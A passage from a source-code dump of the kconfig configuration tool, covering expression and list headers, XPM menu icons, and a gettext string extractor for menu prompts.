140 | struct property *next; /* next property - null if last */
141 | struct symbol *sym; /* the symbol for which the property is associated */
142 | enum prop_type type; /* type of property */
143 | const char *text; /* the prompt value - P_PROMPT, P_MENU, P_COMMENT */
144 | struct expr_value visible;
145 | struct expr *expr; /* the optional conditional part of the property */
146 | struct menu *menu; /* the menu the property are associated with
147 | * valid for: P_SELECT, P_RANGE, P_CHOICE,
148 | * P_PROMPT, P_DEFAULT, P_MENU, P_COMMENT */
149 | struct file *file; /* what file was this property defined */
150 | int lineno; /* what lineno was this property defined */
151 | };
152 |
153 | #define for_all_properties(sym, st, tok) \
154 | for (st = sym->prop; st; st = st->next) \
155 | if (st->type == (tok))
156 | #define for_all_defaults(sym, st) for_all_properties(sym, st, P_DEFAULT)
157 | #define for_all_choices(sym, st) for_all_properties(sym, st, P_CHOICE)
158 | #define for_all_prompts(sym, st) \
159 | for (st = sym->prop; st; st = st->next) \
160 | if (st->text)
161 |
162 | struct menu {
163 | struct menu *next;
164 | struct menu *parent;
165 | struct menu *list;
166 | struct symbol *sym;
167 | struct property *prompt;
168 | struct expr *visibility;
169 | struct expr *dep;
170 | unsigned int flags;
171 | char *help;
172 | struct file *file;
173 | int lineno;
174 | void *data;
175 | };
176 |
177 | #define MENU_CHANGED 0x0001
178 | #define MENU_ROOT 0x0002
179 |
180 | struct jump_key {
181 | struct list_head entries;
182 | size_t offset;
183 | struct menu *target;
184 | int index;
185 | };
186 |
187 | #define JUMP_NB 9
188 |
189 | extern struct file *file_list;
190 | extern struct file *current_file;
191 | struct file *lookup_file(const char *name);
192 |
193 | extern struct symbol symbol_yes, symbol_no, symbol_mod;
194 | extern struct symbol *modules_sym;
195 | extern struct symbol *sym_defconfig_list;
196 | extern int cdebug;
197 | struct expr *expr_alloc_symbol(struct symbol *sym);
198 | struct expr *expr_alloc_one(enum expr_type type, struct expr *ce);
199 | struct expr *expr_alloc_two(enum expr_type type, struct expr *e1, struct expr *e2);
200 | struct expr *expr_alloc_comp(enum expr_type type, struct symbol *s1, struct symbol *s2);
201 | struct expr *expr_alloc_and(struct expr *e1, struct expr *e2);
202 | struct expr *expr_alloc_or(struct expr *e1, struct expr *e2);
203 | struct expr *expr_copy(const struct expr *org);
204 | void expr_free(struct expr *e);
205 | int expr_eq(struct expr *e1, struct expr *e2);
206 | void expr_eliminate_eq(struct expr **ep1, struct expr **ep2);
207 | tristate expr_calc_value(struct expr *e);
208 | struct expr *expr_eliminate_yn(struct expr *e);
209 | struct expr *expr_trans_bool(struct expr *e);
210 | struct expr *expr_eliminate_dups(struct expr *e);
211 | struct expr *expr_transform(struct expr *e);
212 | int expr_contains_symbol(struct expr *dep, struct symbol *sym);
213 | bool expr_depends_symbol(struct expr *dep, struct symbol *sym);
214 | struct expr *expr_extract_eq_and(struct expr **ep1, struct expr **ep2);
215 | struct expr *expr_extract_eq_or(struct expr **ep1, struct expr **ep2);
216 | void expr_extract_eq(enum expr_type type, struct expr **ep, struct expr **ep1, struct expr **ep2);
217 | struct expr *expr_trans_compare(struct expr *e, enum expr_type type, struct symbol *sym);
218 | struct expr *expr_simplify_unmet_dep(struct expr *e1, struct expr *e2);
219 |
220 | void expr_fprint(struct expr *e, FILE *out);
221 | struct gstr; /* forward */
222 | void expr_gstr_print(struct expr *e, struct gstr *gs);
223 |
224 | static inline int expr_is_yes(struct expr *e)
225 | {
226 | return !e || (e->type == E_SYMBOL && e->left.sym == &symbol_yes);
227 | }
228 |
229 | static inline int expr_is_no(struct expr *e)
230 | {
231 | return e && (e->type == E_SYMBOL && e->left.sym == &symbol_no);
232 | }
233 |
234 | #ifdef __cplusplus
235 | }
236 | #endif
237 |
238 | #endif /* EXPR_H */
239 |
--------------------------------------------------------------------------------
/scripts/kconfig/foo.h:
--------------------------------------------------------------------------------
1 | #ifndef __KCONFIG_FOO_H
2 | #define __KCONFIG_FOO_H
3 |
4 | #ifndef __APPLE__
5 | #include
6 | #endif
7 | #include
8 |
9 | #ifndef PATH_MAX
10 | #define PATH_MAX 1024
11 | #endif
12 | #endif /* __KCONFIG_FOO_H */
13 |
--------------------------------------------------------------------------------
/scripts/kconfig/images.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2002 Roman Zippel
3 | * Released under the terms of the GNU GPL v2.0.
4 | */
5 |
6 | static const char *xpm_load[] = {
7 | "22 22 5 1",
8 | ". c None",
9 | "# c #000000",
10 | "c c #838100",
11 | "a c #ffff00",
12 | "b c #ffffff",
13 | "......................",
14 | "......................",
15 | "......................",
16 | "............####....#.",
17 | "...........#....##.##.",
18 | "..................###.",
19 | ".................####.",
20 | ".####...........#####.",
21 | "#abab##########.......",
22 | "#babababababab#.......",
23 | "#ababababababa#.......",
24 | "#babababababab#.......",
25 | "#ababab###############",
26 | "#babab##cccccccccccc##",
27 | "#abab##cccccccccccc##.",
28 | "#bab##cccccccccccc##..",
29 | "#ab##cccccccccccc##...",
30 | "#b##cccccccccccc##....",
31 | "###cccccccccccc##.....",
32 | "##cccccccccccc##......",
33 | "###############.......",
34 | "......................"};
35 |
36 | static const char *xpm_save[] = {
37 | "22 22 5 1",
38 | ". c None",
39 | "# c #000000",
40 | "a c #838100",
41 | "b c #c5c2c5",
42 | "c c #cdb6d5",
43 | "......................",
44 | ".####################.",
45 | ".#aa#bbbbbbbbbbbb#bb#.",
46 | ".#aa#bbbbbbbbbbbb#bb#.",
47 | ".#aa#bbbbbbbbbcbb####.",
48 | ".#aa#bbbccbbbbbbb#aa#.",
49 | ".#aa#bbbccbbbbbbb#aa#.",
50 | ".#aa#bbbbbbbbbbbb#aa#.",
51 | ".#aa#bbbbbbbbbbbb#aa#.",
52 | ".#aa#bbbbbbbbbbbb#aa#.",
53 | ".#aa#bbbbbbbbbbbb#aa#.",
54 | ".#aaa############aaa#.",
55 | ".#aaaaaaaaaaaaaaaaaa#.",
56 | ".#aaaaaaaaaaaaaaaaaa#.",
57 | ".#aaa#############aa#.",
58 | ".#aaa#########bbb#aa#.",
59 | ".#aaa#########bbb#aa#.",
60 | ".#aaa#########bbb#aa#.",
61 | ".#aaa#########bbb#aa#.",
62 | ".#aaa#########bbb#aa#.",
63 | "..##################..",
64 | "......................"};
65 |
66 | static const char *xpm_back[] = {
67 | "22 22 3 1",
68 | ". c None",
69 | "# c #000083",
70 | "a c #838183",
71 | "......................",
72 | "......................",
73 | "......................",
74 | "......................",
75 | "......................",
76 | "...........######a....",
77 | "..#......##########...",
78 | "..##...####......##a..",
79 | "..###.###.........##..",
80 | "..######..........##..",
81 | "..#####...........##..",
82 | "..######..........##..",
83 | "..#######.........##..",
84 | "..########.......##a..",
85 | "...............a###...",
86 | "...............###....",
87 | "......................",
88 | "......................",
89 | "......................",
90 | "......................",
91 | "......................",
92 | "......................"};
93 |
94 | static const char *xpm_tree_view[] = {
95 | "22 22 2 1",
96 | ". c None",
97 | "# c #000000",
98 | "......................",
99 | "......................",
100 | "......#...............",
101 | "......#...............",
102 | "......#...............",
103 | "......#...............",
104 | "......#...............",
105 | "......########........",
106 | "......#...............",
107 | "......#...............",
108 | "......#...............",
109 | "......#...............",
110 | "......#...............",
111 | "......########........",
112 | "......#...............",
113 | "......#...............",
114 | "......#...............",
115 | "......#...............",
116 | "......#...............",
117 | "......########........",
118 | "......................",
119 | "......................"};
120 |
121 | static const char *xpm_single_view[] = {
122 | "22 22 2 1",
123 | ". c None",
124 | "# c #000000",
125 | "......................",
126 | "......................",
127 | "..........#...........",
128 | "..........#...........",
129 | "..........#...........",
130 | "..........#...........",
131 | "..........#...........",
132 | "..........#...........",
133 | "..........#...........",
134 | "..........#...........",
135 | "..........#...........",
136 | "..........#...........",
137 | "..........#...........",
138 | "..........#...........",
139 | "..........#...........",
140 | "..........#...........",
141 | "..........#...........",
142 | "..........#...........",
143 | "..........#...........",
144 | "..........#...........",
145 | "......................",
146 | "......................"};
147 |
148 | static const char *xpm_split_view[] = {
149 | "22 22 2 1",
150 | ". c None",
151 | "# c #000000",
152 | "......................",
153 | "......................",
154 | "......#......#........",
155 | "......#......#........",
156 | "......#......#........",
157 | "......#......#........",
158 | "......#......#........",
159 | "......#......#........",
160 | "......#......#........",
161 | "......#......#........",
162 | "......#......#........",
163 | "......#......#........",
164 | "......#......#........",
165 | "......#......#........",
166 | "......#......#........",
167 | "......#......#........",
168 | "......#......#........",
169 | "......#......#........",
170 | "......#......#........",
171 | "......#......#........",
172 | "......................",
173 | "......................"};
174 |
175 | static const char *xpm_symbol_no[] = {
176 | "12 12 2 1",
177 | " c white",
178 | ". c black",
179 | " ",
180 | " .......... ",
181 | " . . ",
182 | " . . ",
183 | " . . ",
184 | " . . ",
185 | " . . ",
186 | " . . ",
187 | " . . ",
188 | " . . ",
189 | " .......... ",
190 | " "};
191 |
192 | static const char *xpm_symbol_mod[] = {
193 | "12 12 2 1",
194 | " c white",
195 | ". c black",
196 | " ",
197 | " .......... ",
198 | " . . ",
199 | " . . ",
200 | " . .. . ",
201 | " . .... . ",
202 | " . .... . ",
203 | " . .. . ",
204 | " . . ",
205 | " . . ",
206 | " .......... ",
207 | " "};
208 |
209 | static const char *xpm_symbol_yes[] = {
210 | "12 12 2 1",
211 | " c white",
212 | ". c black",
213 | " ",
214 | " .......... ",
215 | " . . ",
216 | " . . ",
217 | " . . . ",
218 | " . .. . ",
219 | " . . .. . ",
220 | " . .... . ",
221 | " . .. . ",
222 | " . . ",
223 | " .......... ",
224 | " "};
225 |
226 | static const char *xpm_choice_no[] = {
227 | "12 12 2 1",
228 | " c white",
229 | ". c black",
230 | " ",
231 | " .... ",
232 | " .. .. ",
233 | " . . ",
234 | " . . ",
235 | " . . ",
236 | " . . ",
237 | " . . ",
238 | " . . ",
239 | " .. .. ",
240 | " .... ",
241 | " "};
242 |
243 | static const char *xpm_choice_yes[] = {
244 | "12 12 2 1",
245 | " c white",
246 | ". c black",
247 | " ",
248 | " .... ",
249 | " .. .. ",
250 | " . . ",
251 | " . .. . ",
252 | " . .... . ",
253 | " . .... . ",
254 | " . .. . ",
255 | " . . ",
256 | " .. .. ",
257 | " .... ",
258 | " "};
259 |
260 | static const char *xpm_menu[] = {
261 | "12 12 2 1",
262 | " c white",
263 | ". c black",
264 | " ",
265 | " .......... ",
266 | " . . ",
267 | " . .. . ",
268 | " . .... . ",
269 | " . ...... . ",
270 | " . ...... . ",
271 | " . .... . ",
272 | " . .. . ",
273 | " . . ",
274 | " .......... ",
275 | " "};
276 |
277 | static const char *xpm_menu_inv[] = {
278 | "12 12 2 1",
279 | " c white",
280 | ". c black",
281 | " ",
282 | " .......... ",
283 | " .......... ",
284 | " .. ...... ",
285 | " .. .... ",
286 | " .. .. ",
287 | " .. .. ",
288 | " .. .... ",
289 | " .. ...... ",
290 | " .......... ",
291 | " .......... ",
292 | " "};
293 |
294 | static const char *xpm_menuback[] = {
295 | "12 12 2 1",
296 | " c white",
297 | ". c black",
298 | " ",
299 | " .......... ",
300 | " . . ",
301 | " . .. . ",
302 | " . .... . ",
303 | " . ...... . ",
304 | " . ...... . ",
305 | " . .... . ",
306 | " . .. . ",
307 | " . . ",
308 | " .......... ",
309 | " "};
310 |
311 | static const char *xpm_void[] = {
312 | "12 12 2 1",
313 | " c white",
314 | ". c black",
315 | " ",
316 | " ",
317 | " ",
318 | " ",
319 | " ",
320 | " ",
321 | " ",
322 | " ",
323 | " ",
324 | " ",
325 | " ",
326 | " "};
327 |
--------------------------------------------------------------------------------
/scripts/kconfig/kxgettext.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Arnaldo Carvalho de Melo , 2005
3 | *
4 | * Released under the terms of the GNU GPL v2.0
5 | */
6 |
7 | #include
8 | #include
9 |
10 | #include "lkc.h"
11 |
12 | static char *escape(const char* text, char *bf, int len)
13 | {
14 | char *bfp = bf;
15 | int multiline = strchr(text, '\n') != NULL;
16 | int eol = 0;
17 | int textlen = strlen(text);
18 |
19 | if ((textlen > 0) && (text[textlen-1] == '\n'))
20 | eol = 1;
21 |
22 | *bfp++ = '"';
23 | --len;
24 |
25 | if (multiline) {
26 | *bfp++ = '"';
27 | *bfp++ = '\n';
28 | *bfp++ = '"';
29 | len -= 3;
30 | }
31 |
32 | while (*text != '\0' && len > 1) {
33 | if (*text == '"')
34 | *bfp++ = '\\';
35 | else if (*text == '\n') {
36 | *bfp++ = '\\';
37 | *bfp++ = 'n';
38 | *bfp++ = '"';
39 | *bfp++ = '\n';
40 | *bfp++ = '"';
41 | len -= 5;
42 | ++text;
43 | goto next;
44 | }
45 | else if (*text == '\\') {
46 | *bfp++ = '\\';
47 | len--;
48 | }
49 | *bfp++ = *text++;
50 | next:
51 | --len;
52 | }
53 |
54 | if (multiline && eol)
55 | bfp -= 3;
56 |
57 | *bfp++ = '"';
58 | *bfp = '\0';
59 |
60 | return bf;
61 | }
62 |
63 | struct file_line {
64 | struct file_line *next;
65 | const char *file;
66 | int lineno;
67 | };
68 |
69 | static struct file_line *file_line__new(const char *file, int lineno)
70 | {
71 | struct file_line *self = malloc(sizeof(*self));
72 |
73 | if (self == NULL)
74 | goto out;
75 |
76 | self->file = file;
77 | self->lineno = lineno;
78 | self->next = NULL;
79 | out:
80 | return self;
81 | }
82 |
83 | struct message {
84 | const char *msg;
85 | const char *option;
86 | struct message *next;
87 | struct file_line *files;
88 | };
89 |
90 | static struct message *message__list;
91 |
92 | static struct message *message__new(const char *msg, char *option,
93 | const char *file, int lineno)
94 | {
95 | struct message *self = malloc(sizeof(*self));
96 |
97 | if (self == NULL)
98 | goto out;
99 |
100 | self->files = file_line__new(file, lineno);
101 | if (self->files == NULL)
102 | goto out_fail;
103 |
104 | self->msg = strdup(msg);
105 | if (self->msg == NULL)
106 | goto out_fail_msg;
107 |
108 | self->option = option;
109 | self->next = NULL;
110 | out:
111 | return self;
112 | out_fail_msg:
113 | free(self->files);
114 | out_fail:
115 | free(self);
116 | self = NULL;
117 | goto out;
118 | }
119 |
120 | static struct message *mesage__find(const char *msg)
121 | {
122 | struct message *m = message__list;
123 |
124 | while (m != NULL) {
125 | if (strcmp(m->msg, msg) == 0)
126 | break;
127 | m = m->next;
128 | }
129 |
130 | return m;
131 | }
132 |
133 | static int message__add_file_line(struct message *self, const char *file,
134 | int lineno)
135 | {
136 | int rc = -1;
137 | struct file_line *fl = file_line__new(file, lineno);
138 |
139 | if (fl == NULL)
140 | goto out;
141 |
142 | fl->next = self->files;
143 | self->files = fl;
144 | rc = 0;
145 | out:
146 | return rc;
147 | }
148 |
149 | static int message__add(const char *msg, char *option, const char *file,
150 | int lineno)
151 | {
152 | int rc = 0;
153 | char bf[16384];
154 | char *escaped = escape(msg, bf, sizeof(bf));
155 | struct message *m = mesage__find(escaped);
156 |
157 | if (m != NULL)
158 | rc = message__add_file_line(m, file, lineno);
159 | else {
160 | m = message__new(escaped, option, file, lineno);
161 |
162 | if (m != NULL) {
163 | m->next = message__list;
164 | message__list = m;
165 | } else
166 | rc = -1;
167 | }
168 | return rc;
169 | }
170 |
171 | static void menu_build_message_list(struct menu *menu)
172 | {
173 | struct menu *child;
174 |
175 | message__add(menu_get_prompt(menu), NULL,
176 | menu->file == NULL ? "Root Menu" : menu->file->name,
177 | menu->lineno);
178 |
179 | if (menu->sym != NULL && menu_has_help(menu))
180 | message__add(menu_get_help(menu), menu->sym->name,
181 | menu->file == NULL ? "Root Menu" : menu->file->name,
182 | menu->lineno);
183 |
184 | for (child = menu->list; child != NULL; child = child->next)
185 | if (child->prompt != NULL)
186 | menu_build_message_list(child);
187 | }
188 |
189 | static void message__print_file_lineno(struct message *self)
190 | {
191 | struct file_line *fl = self->files;
192 |
193 | putchar('\n');
194 | if (self->option != NULL)
195 | printf("# %s:00000\n", self->option);
196 |
197 | printf("#: %s:%d", fl->file, fl->lineno);
198 | fl = fl->next;
199 |
200 | while (fl != NULL) {
201 | printf(", %s:%d", fl->file, fl->lineno);
202 | fl = fl->next;
203 | }
204 |
205 | putchar('\n');
206 | }
207 |
208 | static void message__print_gettext_msgid_msgstr(struct message *self)
209 | {
210 | message__print_file_lineno(self);
211 |
212 | printf("msgid %s\n"
213 | "msgstr \"\"\n", self->msg);
214 | }
215 |
216 | static void menu__xgettext(void)
217 | {
218 | struct message *m = message__list;
219 |
220 | while (m != NULL) {
221 | /* skip empty lines ("") */
222 | if (strlen(m->msg) > sizeof("\"\""))
223 | message__print_gettext_msgid_msgstr(m);
224 | m = m->next;
225 | }
226 | }
227 |
228 | int main(int ac, char **av)
229 | {
230 | conf_parse(av[1]);
231 |
232 | menu_build_message_list(menu_get_root_menu(NULL));
233 | menu__xgettext();
234 | return 0;
235 | }
236 |
--------------------------------------------------------------------------------
/scripts/kconfig/list.h:
--------------------------------------------------------------------------------
1 | #ifndef LIST_H
2 | #define LIST_H
3 |
4 | /*
5 | * Copied from include/linux/...
6 | */
7 |
8 | #undef offsetof
9 | #define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER)
10 |
11 | /**
12 | * container_of - cast a member of a structure out to the containing structure
13 | * @ptr: the pointer to the member.
14 | * @type: the type of the container struct this is embedded in.
15 | * @member: the name of the member within the struct.
16 | *
17 | */
18 | #define container_of(ptr, type, member) ({ \
19 | const typeof( ((type *)0)->member ) *__mptr = (ptr); \
20 | (type *)( (char *)__mptr - offsetof(type,member) );})
21 |
22 |
23 | struct list_head {
24 | struct list_head *next, *prev;
25 | };
26 |
27 |
28 | #define LIST_HEAD_INIT(name) { &(name), &(name) }
29 |
30 | #define LIST_HEAD(name) \
31 | struct list_head name = LIST_HEAD_INIT(name)
32 |
33 | /**
34 | * list_entry - get the struct for this entry
35 | * @ptr: the &struct list_head pointer.
36 | * @type: the type of the struct this is embedded in.
37 | * @member: the name of the list_struct within the struct.
38 | */
39 | #define list_entry(ptr, type, member) \
40 | container_of(ptr, type, member)
41 |
42 | /**
43 | * list_for_each_entry - iterate over list of given type
44 | * @pos: the type * to use as a loop cursor.
45 | * @head: the head for your list.
46 | * @member: the name of the list_struct within the struct.
47 | */
48 | #define list_for_each_entry(pos, head, member) \
49 | for (pos = list_entry((head)->next, typeof(*pos), member); \
50 | &pos->member != (head); \
51 | pos = list_entry(pos->member.next, typeof(*pos), member))
52 |
53 | /**
54 | * list_for_each_entry_safe - iterate over list of given type safe against removal of list entry
55 | * @pos: the type * to use as a loop cursor.
56 | * @n: another type * to use as temporary storage
57 | * @head: the head for your list.
58 | * @member: the name of the list_struct within the struct.
59 | */
60 | #define list_for_each_entry_safe(pos, n, head, member) \
61 | for (pos = list_entry((head)->next, typeof(*pos), member), \
62 | n = list_entry(pos->member.next, typeof(*pos), member); \
63 | &pos->member != (head); \
64 | pos = n, n = list_entry(n->member.next, typeof(*n), member))
65 |
66 | /**
67 | * list_empty - tests whether a list is empty
68 | * @head: the list to test.
69 | */
70 | static inline int list_empty(const struct list_head *head)
71 | {
72 | return head->next == head;
73 | }
74 |
75 | /*
76 | * Insert a new entry between two known consecutive entries.
77 | *
78 | * This is only for internal list manipulation where we know
79 | * the prev/next entries already!
80 | */
81 | static inline void __list_add(struct list_head *_new,
82 | struct list_head *prev,
83 | struct list_head *next)
84 | {
85 | next->prev = _new;
86 | _new->next = next;
87 | _new->prev = prev;
88 | prev->next = _new;
89 | }
90 |
91 | /**
92 | * list_add_tail - add a new entry
93 | * @new: new entry to be added
94 | * @head: list head to add it before
95 | *
96 | * Insert a new entry before the specified head.
97 | * This is useful for implementing queues.
98 | */
99 | static inline void list_add_tail(struct list_head *_new, struct list_head *head)
100 | {
101 | __list_add(_new, head->prev, head);
102 | }
103 |
104 | /*
105 | * Delete a list entry by making the prev/next entries
106 | * point to each other.
107 | *
108 | * This is only for internal list manipulation where we know
109 | * the prev/next entries already!
110 | */
111 | static inline void __list_del(struct list_head *prev, struct list_head *next)
112 | {
113 | next->prev = prev;
114 | prev->next = next;
115 | }
116 |
117 | #define LIST_POISON1 ((void *) 0x00100100)
118 | #define LIST_POISON2 ((void *) 0x00200200)
119 | /**
120 | * list_del - deletes entry from list.
121 | * @entry: the element to delete from the list.
122 | * Note: list_empty() on entry does not return true after this, the entry is
123 | * in an undefined state.
124 | */
125 | static inline void list_del(struct list_head *entry)
126 | {
127 | __list_del(entry->prev, entry->next);
128 | entry->next = (struct list_head*)LIST_POISON1;
129 | entry->prev = (struct list_head*)LIST_POISON2;
130 | }
131 | #endif
132 |
--------------------------------------------------------------------------------
/scripts/kconfig/lkc.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2002 Roman Zippel
3 | * Released under the terms of the GNU GPL v2.0.
4 | */
5 |
6 | #ifndef LKC_H
7 | #define LKC_H
8 |
9 | #include "expr.h"
10 |
11 | #ifndef KBUILD_NO_NLS
12 | # include
13 | #else
14 | static inline const char *gettext(const char *txt) { return txt; }
15 | static inline void textdomain(const char *domainname) {}
16 | static inline void bindtextdomain(const char *name, const char *dir) {}
17 | static inline char *bind_textdomain_codeset(const char *dn, char *c) { return c; }
18 | #endif
19 |
20 | #ifdef __cplusplus
21 | extern "C" {
22 | #endif
23 |
24 | #ifndef PRODUCT_ENV
25 | /* BR2 for buildroot, KCONFIG for kernel. */
26 | #define PRODUCT_ENV "KCONFIG"
27 | #endif
28 |
29 | #ifndef PRODUCT
30 | /* Buildroot buildroot, Kernel for kernel. */
31 | #define PRODUCT "Kernel"
32 | #endif
33 |
34 | #ifndef PRODUCT_DOMAIN
35 | /* buildroot.org for buildroot, kernel.org for kernel. */
36 | #define PRODUCT_DOMAIN "kernel.org"
37 | #endif
38 |
39 | #define P(name,type,arg) extern type name arg
40 | #include "lkc_proto.h"
41 | #undef P
42 |
43 | #define SRCTREE "srctree"
44 |
45 | #ifndef PACKAGE
46 | #define PACKAGE "linux"
47 | #endif
48 |
49 | #define LOCALEDIR "/usr/share/locale"
50 |
51 | #define _(text) gettext(text)
52 | #define N_(text) (text)
53 |
54 | #ifndef CONFIG_
55 | #define CONFIG_ "CONFIG_"
56 | #endif
57 | static inline const char *CONFIG_prefix(void)
58 | {
59 | return getenv( "CONFIG_" ) ?: CONFIG_;
60 | }
61 | #undef CONFIG_
62 | #define CONFIG_ CONFIG_prefix()
63 |
64 | #define TF_COMMAND 0x0001
65 | #define TF_PARAM 0x0002
66 | #define TF_OPTION 0x0004
67 |
68 | enum conf_def_mode {
69 | def_default,
70 | def_yes,
71 | def_mod,
72 | def_no,
73 | def_random
74 | };
75 |
76 | #define T_OPT_MODULES 1
77 | #define T_OPT_DEFCONFIG_LIST 2
78 | #define T_OPT_ENV 3
79 |
80 | struct kconf_id {
81 | int name;
82 | int token;
83 | unsigned int flags;
84 | enum symbol_type stype;
85 | };
86 |
87 | extern int zconfdebug;
88 |
89 | int zconfparse(void);
90 | void zconfdump(FILE *out);
91 | void zconf_starthelp(void);
92 | FILE *zconf_fopen(const char *name);
93 | void zconf_initscan(const char *name);
94 | void zconf_nextfile(const char *name);
95 | int zconf_lineno(void);
96 | const char *zconf_curname(void);
97 |
98 | /* confdata.c */
99 | const char *conf_get_configname(void);
100 | const char *conf_get_autoconfig_name(void);
101 | char *conf_get_default_confname(void);
102 | void sym_set_change_count(int count);
103 | void sym_add_change_count(int count);
104 | bool conf_set_all_new_symbols(enum conf_def_mode mode);
105 | void set_all_choice_values(struct symbol *csym);
106 |
107 | struct conf_printer {
108 | void (*print_symbol)(FILE *, struct symbol *, const char *, void *);
109 | void (*print_comment)(FILE *, const char *, void *);
110 | };
111 |
112 | /* confdata.c and expr.c */
113 | static inline void xfwrite(const void *str, size_t len, size_t count, FILE *out)
114 | {
115 | assert(len != 0);
116 |
117 | if (fwrite(str, len, count, out) != count)
118 | fprintf(stderr, "Error in writing or end of file.\n");
119 | }
120 |
121 | /* menu.c */
122 | void _menu_init(void);
123 | void menu_warn(struct menu *menu, const char *fmt, ...);
124 | struct menu *menu_add_menu(void);
125 | void menu_end_menu(void);
126 | void menu_add_entry(struct symbol *sym);
127 | void menu_end_entry(void);
128 | void menu_add_dep(struct expr *dep);
129 | void menu_add_visibility(struct expr *dep);
130 | struct property *menu_add_prop(enum prop_type type, char *prompt, struct expr *expr, struct expr *dep);
131 | struct property *menu_add_prompt(enum prop_type type, char *prompt, struct expr *dep);
132 | void menu_add_expr(enum prop_type type, struct expr *expr, struct expr *dep);
133 | void menu_add_symbol(enum prop_type type, struct symbol *sym, struct expr *dep);
134 | void menu_add_option(int token, char *arg);
135 | void menu_finalize(struct menu *parent);
136 | void menu_set_type(int type);
137 |
138 | /* util.c */
139 | struct file *file_lookup(const char *name);
140 | int file_write_dep(const char *name);
141 | void *xmalloc(size_t size);
142 | void *xcalloc(size_t nmemb, size_t size);
143 |
144 | struct gstr {
145 | size_t len;
146 | char *s;
147 | /*
148 | * when max_width is not zero long lines in string s (if any) get
149 | * wrapped not to exceed the max_width value
150 | */
151 | int max_width;
152 | };
153 | struct gstr str_new(void);
154 | struct gstr str_assign(const char *s);
155 | void str_free(struct gstr *gs);
156 | void str_append(struct gstr *gs, const char *s);
157 | void str_printf(struct gstr *gs, const char *fmt, ...);
158 | const char *str_get(struct gstr *gs);
159 |
160 | /* symbol.c */
161 | extern struct expr *sym_env_list;
162 |
163 | void sym_init(void);
164 | void sym_clear_all_valid(void);
165 | void sym_set_all_changed(void);
166 | void sym_set_changed(struct symbol *sym);
167 | struct symbol *sym_choice_default(struct symbol *sym);
168 | const char *sym_get_string_default(struct symbol *sym);
169 | struct symbol *sym_check_deps(struct symbol *sym);
170 | struct property *prop_alloc(enum prop_type type, struct symbol *sym);
171 | struct symbol *prop_get_symbol(struct property *prop);
172 | struct property *sym_get_env_prop(struct symbol *sym);
173 |
174 | static inline tristate sym_get_tristate_value(struct symbol *sym)
175 | {
176 | return sym->curr.tri;
177 | }
178 |
179 |
180 | static inline struct symbol *sym_get_choice_value(struct symbol *sym)
181 | {
182 | return (struct symbol *)sym->curr.val;
183 | }
184 |
185 | static inline bool sym_set_choice_value(struct symbol *ch, struct symbol *chval)
186 | {
187 | return sym_set_tristate_value(chval, yes);
188 | }
189 |
190 | static inline bool sym_is_choice(struct symbol *sym)
191 | {
192 | return sym->flags & SYMBOL_CHOICE ? true : false;
193 | }
194 |
195 | static inline bool sym_is_choice_value(struct symbol *sym)
196 | {
197 | return sym->flags & SYMBOL_CHOICEVAL ? true : false;
198 | }
199 |
200 | static inline bool sym_is_optional(struct symbol *sym)
201 | {
202 | return sym->flags & SYMBOL_OPTIONAL ? true : false;
203 | }
204 |
205 | static inline bool sym_has_value(struct symbol *sym)
206 | {
207 | return sym->flags & SYMBOL_DEF_USER ? true : false;
208 | }
209 |
210 | #ifdef __cplusplus
211 | }
212 | #endif
213 |
214 | #endif /* LKC_H */
215 |
--------------------------------------------------------------------------------
/scripts/kconfig/lkc_proto.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | /* confdata.c */
4 | P(conf_parse,void,(const char *name));
5 | P(conf_read,int,(const char *name));
6 | P(conf_read_simple,int,(const char *name, int));
7 | P(conf_write_defconfig,int,(const char *name));
8 | P(conf_write,int,(const char *name));
9 | P(conf_write_autoconf,int,(void));
10 | P(conf_get_changed,bool,(void));
11 | P(conf_set_changed_callback, void,(void (*fn)(void)));
12 | P(conf_set_message_callback, void,(void (*fn)(const char *fmt, va_list ap)));
13 |
14 | /* menu.c */
15 | P(rootmenu,struct menu,);
16 |
17 | P(menu_is_empty, bool, (struct menu *menu));
18 | P(menu_is_visible, bool, (struct menu *menu));
19 | P(menu_has_prompt, bool, (struct menu *menu));
20 | P(menu_get_prompt,const char *,(struct menu *menu));
21 | P(menu_get_root_menu,struct menu *,(struct menu *menu));
22 | P(menu_get_parent_menu,struct menu *,(struct menu *menu));
23 | P(menu_has_help,bool,(struct menu *menu));
24 | P(menu_get_help,const char *,(struct menu *menu));
25 | P(get_symbol_str, void, (struct gstr *r, struct symbol *sym, struct list_head
26 | *head));
27 | P(get_relations_str, struct gstr, (struct symbol **sym_arr, struct list_head
28 | *head));
29 | P(menu_get_ext_help,void,(struct menu *menu, struct gstr *help));
30 |
31 | /* symbol.c */
32 | P(symbol_hash,struct symbol *,[SYMBOL_HASHSIZE]);
33 |
34 | P(sym_lookup,struct symbol *,(const char *name, int flags));
35 | P(sym_find,struct symbol *,(const char *name));
36 | P(sym_expand_string_value,const char *,(const char *in));
37 | P(sym_escape_string_value, const char *,(const char *in));
38 | P(sym_re_search,struct symbol **,(const char *pattern));
39 | P(sym_type_name,const char *,(enum symbol_type type));
40 | P(sym_calc_value,void,(struct symbol *sym));
41 | P(sym_get_type,enum symbol_type,(struct symbol *sym));
42 | P(sym_tristate_within_range,bool,(struct symbol *sym,tristate tri));
43 | P(sym_set_tristate_value,bool,(struct symbol *sym,tristate tri));
44 | P(sym_toggle_tristate_value,tristate,(struct symbol *sym));
45 | P(sym_string_valid,bool,(struct symbol *sym, const char *newval));
46 | P(sym_string_within_range,bool,(struct symbol *sym, const char *str));
47 | P(sym_set_string_value,bool,(struct symbol *sym, const char *newval));
48 | P(sym_is_changable,bool,(struct symbol *sym));
49 | P(sym_get_choice_prop,struct property *,(struct symbol *sym));
50 | P(sym_get_default_prop,struct property *,(struct symbol *sym));
51 | P(sym_get_string_value,const char *,(struct symbol *sym));
52 |
53 | P(prop_get_type_name,const char *,(enum prop_type type));
54 |
55 | /* expr.c */
56 | P(expr_compare_type,int,(enum expr_type t1, enum expr_type t2));
57 | P(expr_print,void,(struct expr *e, void (*fn)(void *, struct symbol *, const char *), void *data, int prevtoken));
58 |
--------------------------------------------------------------------------------
/scripts/kconfig/lxdialog/.gitignore:
--------------------------------------------------------------------------------
1 | #
2 | # Generated files
3 | #
4 | lxdialog
5 |
--------------------------------------------------------------------------------
/scripts/kconfig/lxdialog/BIG.FAT.WARNING:
